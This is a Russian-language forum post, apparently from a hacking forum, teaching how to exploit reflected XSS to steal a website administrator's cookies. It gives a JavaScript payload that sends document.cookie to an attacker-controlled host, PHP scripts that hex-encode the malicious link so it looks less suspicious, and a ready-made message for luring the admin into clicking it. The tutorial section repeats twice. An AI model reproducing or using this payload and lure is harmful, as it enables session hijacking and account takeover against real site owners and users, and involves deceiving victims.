- 303
- 484
- 7 Июн 2016
Пассивная уязвимость уже требует каких либо действий со стороны жертвы, надо будет чтобы жертва перешла по сформированной нами ссылке, чтобы получить куки.Пример пассивной XSS: На сайте есть строка поиска информации по сайту, при вводе яваскрипт кода в этой строке, также выскакивает окно. Это значит что на сайте присутсвует пассивная XSS. Многие считают что пассивные XSS несут в себе незначительные угрозы, но это колоссальная ошибка. Ее лишь чуть сложнее эксплуатировать, но если грамотно создать запрос и грамотно впарить жертве нашу сслыку, то без проблем можно украсть куки админа или любого другого пользователя сайта.
Пассивная XSS, практика:
Тут уже немного посложнее. Нашли сайт с уязвимостью, вида site.ru/info.php?find=[xss]
Далее создаем файл xss.js с кодом и размещаем его на хостинге:
Далее создаем запрос такого типа:
site.ru/info.php?find=<script>src=Для просмотра ссылки Войдиили Зарегистрируйся</script> и впариваем эту ссылку админу. Так как такая ссылка вызывает подозрения, чтобы все прошло успешно надо ее зашифровать. Напишем простенький шифратор/дешифратор hex. Создаем файл hex.php с таким кодом и размещаем его на хостинге:
Соответсвенно unhex.php:
Шифруем ссылку: vash-site.ru/hex.php?<script> src=Для просмотра ссылки Войдиили Зарегистрируйся</script>
Получаем hex символы, делаем запрос в таком виде: site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e
Теперь ссылка выглядит менее подозрительно. Кидаем ссылку админу "Привет, что за херня с твоим сайтом? site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e" Админ переходит по ссылке и мы получаем его куки)
Пассивная XSS, практика:
Тут уже немного посложнее. Нашли сайт с уязвимостью, вида site.ru/info.php?find=[xss]
Далее создаем файл xss.js с кодом и размещаем его на хостинге:
PHP:
img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie;
Далее создаем запрос такого типа:
site.ru/info.php?find=<script>src=Для просмотра ссылки Войди
PHP:
<?
$str = urldecode($_SERVER['QUERY_STRING']);
for($i=0;$i<strlen($str);$i++) {
$hex=dechex(ord($str[$i]));
if($str[$i]=='&')
echo "$str[$i]";
else
echo "%$hex";
}
?>
Соответсвенно unhex.php:
PHP:
<?
echo urldecode($_SERVER['QUERY_STRING']);
?>
Шифруем ссылку: vash-site.ru/hex.php?<script> src=Для просмотра ссылки Войди
Получаем hex символы, делаем запрос в таком виде: site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e
Теперь ссылка выглядит менее подозрительно. Кидаем ссылку админу "Привет, что за херня с твоим сайтом? site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e" Админ переходит по ссылке и мы получаем его куки)